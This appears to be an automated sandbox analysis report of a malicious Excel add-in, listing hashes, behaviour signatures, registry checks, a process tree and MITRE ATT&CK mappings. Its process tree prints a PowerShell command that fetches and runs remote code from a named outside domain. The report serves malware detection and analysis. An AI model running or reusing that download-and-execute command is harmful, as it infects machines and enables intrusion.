4f410594437bf02de068107de9af232b4d5996ee8c95760397ac4d2e4edbf092

General

Target

4f410594437bf02de068107de9af232b4d5996ee8c95760397ac4d2e4edbf092.xll
Size

12KB
MD5

65ca2b881b48edcc5d49a54b1bc2b703
SHA1

9641ff17e210fad862d079ee8e5f2564f0914a8f
SHA256

4f410594437bf02de068107de9af232b4d5996ee8c95760397ac4d2e4edbf092
SHA512

2d54f7bb4898b63fbae0aa91b93d0647e9807fb935399d269726266555b3e1ab1051d7e5c2f0c4c81e947d0e7d0033e747d8ce8b019f771927b177ec3911c6ec
SSDEEP

192:hL29RBzDzeobchBj8JONRONlkGru2rEPEjr7Ahm:x29jnbcvYJOOzkyu2vr7Cm

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3360	2940	mshta.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

38 3388 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

mshta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation mshta.exe
Loads dropped DLL 2 IoCs

Processes:

EXCEL.EXE

pid process

2940 EXCEL.EXE
2940 EXCEL.EXE
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

3388 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	pid	process
38	3388	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation	mshta.exe

pid	process
2940	EXCEL.EXE
2940	EXCEL.EXE

pid	process
3388	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2940 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3388 powershell.exe
3388 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3388 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

2940 EXCEL.EXE
2940 EXCEL.EXE
Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

EXCEL.EXE

pid process

2940 EXCEL.EXE
2940 EXCEL.EXE
2940 EXCEL.EXE
2940 EXCEL.EXE
2940 EXCEL.EXE
2940 EXCEL.EXE
2940 EXCEL.EXE
2940 EXCEL.EXE
2940 EXCEL.EXE
2940 EXCEL.EXE

pid	process
2940	EXCEL.EXE

pid	process
3388	powershell.exe
3388	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3388	powershell.exe

pid	process
2940	EXCEL.EXE
2940	EXCEL.EXE

pid	process
2940	EXCEL.EXE
2940	EXCEL.EXE
2940	EXCEL.EXE
2940	EXCEL.EXE
2940	EXCEL.EXE
2940	EXCEL.EXE
2940	EXCEL.EXE
2940	EXCEL.EXE
2940	EXCEL.EXE
2940	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXEmshta.exe

description	pid	process	target process
PID 2940 wrote to memory of 3360	2940	EXCEL.EXE	mshta.exe
PID 2940 wrote to memory of 3360	2940	EXCEL.EXE	mshta.exe
PID 2940 wrote to memory of 3360	2940	EXCEL.EXE	mshta.exe
PID 3360 wrote to memory of 3388	3360	mshta.exe	powershell.exe
PID 3360 wrote to memory of 3388	3360	mshta.exe	powershell.exe
PID 3360 wrote to memory of 3388	3360	mshta.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4f410594437bf02de068107de9af232b4d5996ee8c95760397ac4d2e4edbf092.xll"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2940
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3360
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3388

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\I3C6LG3F\d[1].htm

Filesize
2KB

MD5
f754844cfb65838d1dd6b19dde5d835c

SHA1
b3eb677783adc88c8d048898449e04d49f416db6

SHA256
3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

SHA512
f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

Download Submit
C:\Users\Admin\AppData\Local\Temp\4f410594437bf02de068107de9af232b4d5996ee8c95760397ac4d2e4edbf092.xll

Filesize
12KB

MD5
65ca2b881b48edcc5d49a54b1bc2b703

SHA1
9641ff17e210fad862d079ee8e5f2564f0914a8f

SHA256
4f410594437bf02de068107de9af232b4d5996ee8c95760397ac4d2e4edbf092

SHA512
2d54f7bb4898b63fbae0aa91b93d0647e9807fb935399d269726266555b3e1ab1051d7e5c2f0c4c81e947d0e7d0033e747d8ce8b019f771927b177ec3911c6ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dy1mmwre.ja2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2940-10-0x00007FF91E1F0000-0x00007FF91E3E5000-memory.dmp

Filesize
2.0MB

Download
memory/2940-9-0x00007FF91E1F0000-0x00007FF91E3E5000-memory.dmp

Filesize
2.0MB

Download
memory/2940-2-0x00007FF8DE270000-0x00007FF8DE280000-memory.dmp

Filesize
64KB

Download
memory/2940-87-0x00007FF91E1F0000-0x00007FF91E3E5000-memory.dmp

Filesize
2.0MB

Download
memory/2940-7-0x00007FF91E1F0000-0x00007FF91E3E5000-memory.dmp

Filesize
2.0MB

Download
memory/2940-8-0x00007FF91E1F0000-0x00007FF91E3E5000-memory.dmp

Filesize
2.0MB

Download
memory/2940-0-0x00007FF8DE270000-0x00007FF8DE280000-memory.dmp

Filesize
64KB

Download
memory/2940-84-0x00007FF8DE270000-0x00007FF8DE280000-memory.dmp

Filesize
64KB

Download
memory/2940-11-0x00007FF91E1F0000-0x00007FF91E3E5000-memory.dmp

Filesize
2.0MB

Download
memory/2940-13-0x00007FF91E1F0000-0x00007FF91E3E5000-memory.dmp

Filesize
2.0MB

Download
memory/2940-14-0x00007FF91E1F0000-0x00007FF91E3E5000-memory.dmp

Filesize
2.0MB

Download
memory/2940-12-0x00007FF8DB910000-0x00007FF8DB920000-memory.dmp

Filesize
64KB

Download
memory/2940-15-0x00007FF8DB910000-0x00007FF8DB920000-memory.dmp

Filesize
64KB

Download
memory/2940-86-0x00007FF8DE270000-0x00007FF8DE280000-memory.dmp

Filesize
64KB

Download
memory/2940-23-0x00007FF9135C0000-0x00007FF9135CD000-memory.dmp

Filesize
52KB

Download
memory/2940-6-0x00007FF8DE270000-0x00007FF8DE280000-memory.dmp

Filesize
64KB

Download
memory/2940-1-0x00007FF8DE270000-0x00007FF8DE280000-memory.dmp

Filesize
64KB

Download
memory/2940-3-0x00007FF8DE270000-0x00007FF8DE280000-memory.dmp

Filesize
64KB

Download
memory/2940-5-0x00007FF91E1F0000-0x00007FF91E3E5000-memory.dmp

Filesize
2.0MB

Download
memory/2940-85-0x00007FF8DE270000-0x00007FF8DE280000-memory.dmp

Filesize
64KB

Download
memory/2940-83-0x00007FF8DE270000-0x00007FF8DE280000-memory.dmp

Filesize
64KB

Download
memory/2940-4-0x00007FF91E28D000-0x00007FF91E28E000-memory.dmp

Filesize
4KB

Download
memory/2940-55-0x00007FF91E1F0000-0x00007FF91E3E5000-memory.dmp

Filesize
2.0MB

Download
memory/3388-49-0x0000000005C00000-0x0000000005C1E000-memory.dmp

Filesize
120KB

Download
memory/3388-50-0x0000000005C30000-0x0000000005C7C000-memory.dmp

Filesize
304KB

Download
memory/3388-51-0x0000000007400000-0x0000000007A7A000-memory.dmp

Filesize
6.5MB

Download
memory/3388-52-0x0000000006120000-0x000000000613A000-memory.dmp

Filesize
104KB

Download
memory/3388-48-0x0000000005650000-0x00000000059A4000-memory.dmp

Filesize
3.3MB

Download
memory/3388-38-0x00000000055E0000-0x0000000005646000-memory.dmp

Filesize
408KB

Download
memory/3388-37-0x0000000004E10000-0x0000000004E76000-memory.dmp

Filesize
408KB

Download
memory/3388-36-0x0000000004C40000-0x0000000004C62000-memory.dmp

Filesize
136KB

Download
memory/3388-35-0x0000000004EC0000-0x00000000054E8000-memory.dmp

Filesize
6.2MB

Download
memory/3388-34-0x00000000022D0000-0x0000000002306000-memory.dmp

Filesize
216KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads